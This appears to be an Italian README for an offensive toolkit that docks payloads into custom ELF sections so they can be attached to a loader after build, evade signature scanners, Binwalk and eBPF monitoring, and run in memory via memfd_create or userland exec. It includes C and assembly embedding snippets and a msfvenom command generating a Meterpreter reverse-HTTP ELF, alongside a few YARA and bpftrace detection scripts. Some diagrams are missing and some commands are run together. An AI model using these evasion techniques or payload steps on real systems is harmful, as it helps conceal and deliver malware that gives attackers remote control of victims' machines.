
Toolkit di docking per sezioni di binari ELF per la consegna di payload senza stadio, che consente l'attaccamento del payload sul campo, l'elusione delle firme e la resistenza al caricamento statico/dinamico tramite manipolazione personalizzata delle sezioni ELF.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Ottenuto manualmente o con strumenti come bin2c o xxd -i payload.bin > payload.h con ulteriore inclusione dell'header.
Memorizzare i payload in .text e .data in modo generico è anche una cattiva idea a causa della facilità di tracciamento del caricamento e dell'introspezione delle semantiche comportamentali del caricamento dei dati per l'esecuzione.
__attribute__. Questo è un po' meglio ma ancora ben tracciabile a causa di come viene creato e caricato l'ELF.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Inizializza il puntatore dello stack */
init_sp (stack + sizeof (stack));
/* Inizializza i dati inizializzati */
memcpy (&init_data, &data, &edata - &data);
}
Una direttiva simile a .incbin dipendente dall'assembler può creare una sezione e incorporare un payload.
Es: gcc -c payload.s o ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
Con ulteriore recupero nel loader come:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Nota: Possiamo includere un ELF completamente funzionale in payload.bin, cosa importante quando si tratta di creare binari "grassi", contenenti elementi di diversi toolkit.
Nota:: Esistono strumenti più ergonomici per svolgere il compito, come INCBIN di @graphitemaster [link]
Una variazione sul tema è ASM inline come segue:
/* Dati immagine grezzi per tutte le immagini incorporate */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Strutture immagine per tutte le immagini incorporate */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Nota: Nota PROGBITS nella definizione di una sezione, sarà importante.
L'inclusione binaria del payload basata su compilatore/linker non è ideale
Ci sono compromessi:

Il tipo di sezione e i flag impostati sulla nuova sezione che la contiene determinano se il loader del sistema operativo la carica in memoria all'avvio dell'eseguibile. Alcune sezioni vengono caricate automaticamente per impostazione predefinita, altre no (es. .symtab, .strtab)
Dal punto di vista offensivo, quali efficienze possiamo ottenere da questo?
Possiamo evitare di impostare flag sulle sezioni che presuppongono il caricamento predefinito in memoria.
Possiamo utilizzare un tipo diverso di sezione che non carica in memoria.
Un fornitore o un ingegnere di sistema potrebbe aver bisogno di contrassegnare un file oggetto con informazioni speciali che altri programmi possono verificare per conformità o compatibilità. Le sezioni di tipo
SHT_NOTEe gli elementi di programma header di tipoPT_NOTEpossono essere utilizzati per questo scopo.
In quest'ultimo caso, possiamo vedere l'uso di questo tipo di sezione nei binari di sistema:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
E possiamo ispezionarne il contenuto:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
Il risultato finale della creazione di una sezione SHT_NOTE apparirà così nell'ELF:

Bonus: SHT_NOTE ci fornisce una struttura se ne abbiamo bisogno (e la useremo ulteriormente):

Finora siamo stati in grado di creare una sezione, evitando di caricarla in memoria da parte del loader del sistema operativo. La sezione è effettivamente dormiente nell'immagine ELF in questo momento. Discuteremo come caricarla un po' più tardi. Tuttavia, una domanda più pressante è il fatto che stiamo ancora operando a livello di compilatore e linker, e la sezione è un oggetto che viene intrecciato nella struttura dell'ELF finale, creando relazioni e indirizzi di memoria dal codice del loader che fa riferimento al suo contenuto.

Cosa succederebbe se fossimo in grado di creare una sezione ELF con un payload incorporato al di fuori del flusso di lavoro di compilazione del loader, e allegare quella sezione in un secondo momento al binario del loader?
Questo romperebbe la relazione del codice del loader con l'interazione della sezione. Poi insegniamo al loader come trovare e caricare la sua sezione dati esterna, "agganciando" efficacemente un payload a un loader in modo debolmente accoppiato.
Concettualmente, i nostri obiettivi sarebbero:
La relazione loader/payload (in sezione) ora apparirebbe così:

Possiamo quindi creare un injector che introdurrà una sezione payload al loader senza che nessuno dei due operi a livello di codice, solo compatibilità binaria (e il loader che sa come caricare qualsiasi sezione payload)

Alcuni risultati da tale configurazione generica di aggancio di sezioni ELF:
Un caricatore ELF statico può essere quindi distribuito da solo, privo di payload, solo con meccanismi per caricare una sezione su richiesta e avviare il payload da essa.
Il payload può essere impacchettato separatamente e raggruppato con il loader in qualsiasi momento come stadio statico, o in un secondo momento con un injector. Il payload può spesso essere crittografato, spesso essere esso stesso un eseguibile ELF se necessario, purché il loader conosca non la struttura del payload ma solo le sue capacità di impacchettamento.
L'injector può intermediare l'allegato di sezioni da diversi binari (stadi dormienti) per costruire una sezione e iniettarla nel loader.
Ci sono vantaggi nella costruzione a livello di sezione rispetto all'impacchettamento di più risorse in un eseguibile. Non c'è sovraccarico di rilevamento per l'elaborazione e il codice del packer. Ci sono vantaggi nel portare più sezioni con altri strumenti che si affidano al lancio in memoria e non possono essere facilmente impacchettati a causa di come i packer devono estrarre i binari nel filesystem. (Sezione binari grassi ulteriormente)
Discutiamo i componenti dell'aggancio di sezioni ELF in maggiore dettaglio.
Disposizione: posteriore o sul campo Vantaggi:
Disposizione: sul campo Vantaggi:
Vantaggi:
Rafforzamento dell'injector/packer ELF sezionale:
Rafforzamento del loader ELF:
Qualche parola sul loader sezionale ELF che lavora con il launcher del payload:
Il loader può utilizzare uno di due meccanismi di esecuzione del payload in memoria:
Opzione A : SYS_Memfd_create ()
Opzione B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)
Flusso di lavoro in esecuzione:

Opportunità di evasione di Binwalk dopo il payload sezionale ELF vs. payload MSF:

Evasione eBPF vs. packer sezionale ELF:

Verificatore YARA e test:


Definizione dello strumento STIX:

cmake --configure . per configurare il tuo ambiente di build. Supportiamo CMAke 3.18 al momento../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a ma può essere ricostruita dal repo originale se necessario.bpftrace, installa gli header del kernel appropriati per la tua distribuzione.run.shaux/msfrc in questo modo:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]